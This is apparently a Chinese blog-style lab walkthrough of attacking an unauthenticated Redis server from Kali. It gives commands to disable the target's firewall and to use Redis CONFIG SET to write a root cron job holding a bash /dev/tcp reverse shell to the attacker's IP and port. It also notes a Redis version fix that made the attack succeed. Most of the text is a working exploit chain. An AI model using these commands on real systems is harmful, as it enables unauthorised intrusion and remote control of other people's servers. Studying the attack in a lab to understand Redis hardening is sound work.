之所以会报这个错的原因是因为防火墙没关,所以把目标机器的防火墙关了就ok了
1:查看防火状态
systemctl status firewalld
service iptables status
2:暂时关闭防火墙
systemctl stop firewalld
service iptables stop
3:永久关闭防火墙
systemctl disable firewalld
chkconfig iptables off
4:重启防火墙
systemctl enable firewalld
service iptables restart
5:永久关闭后重启
//暂时还没有试过
chkconfig iptables on
这里我们直接永久关闭防火墙:systemctl disable firewalld
ok,redis成功连接
执行下get命令,发现报错
这里报错的是不安全的错误,提示本地回环连接......
直接在redis-conf里面注释掉本地回环连接
这里,我们redis-cli -h 目标ip
连接上去再修改一下密码,因为默认是没有密码的
修改密码命令:config set requirepass 密码
查看: config get requirepass
我们这里密码修改成功,登录一下试试
auth 123456
ok,登录成功
接下来连shell
set xx "\n* * * * * bash -i >& /dev/tcp/10.32.4.232/9999 0>&1\n" #设置计划任务ip、端口为kali的ip
config set dir /var/spool/cron/ #设置要导出的目录
config set dbfilename root #用户名为root
但我kali里面用dir不行,一直报错
目前未解决,所以我直接在centos的/var/spool/cron/目录下创建了个root的文件
里面内容为计划任务
ok,shell弹回来了,写个文件看看
目标靶机上成功写入进去了,但dir的问题还是不知道什么原因,有大佬知道的话,私信一下小弟,感激不尽!
2022-6-11解决问题
报这个错误的话
可以先在靶机上登录127.0.0.1,先设置一个密码,然后再在kali机器上面用密码登录就ok了。
最后是因为我用的redis的版本是7.0的,版本问题,最后换了个5.0的版本,成功解决问题
可以参考一下这位师傅的博客,关于5.0的redis计划任务反弹shell_火中的冰~的博客-CSDN博客_redis计划任务反弹shell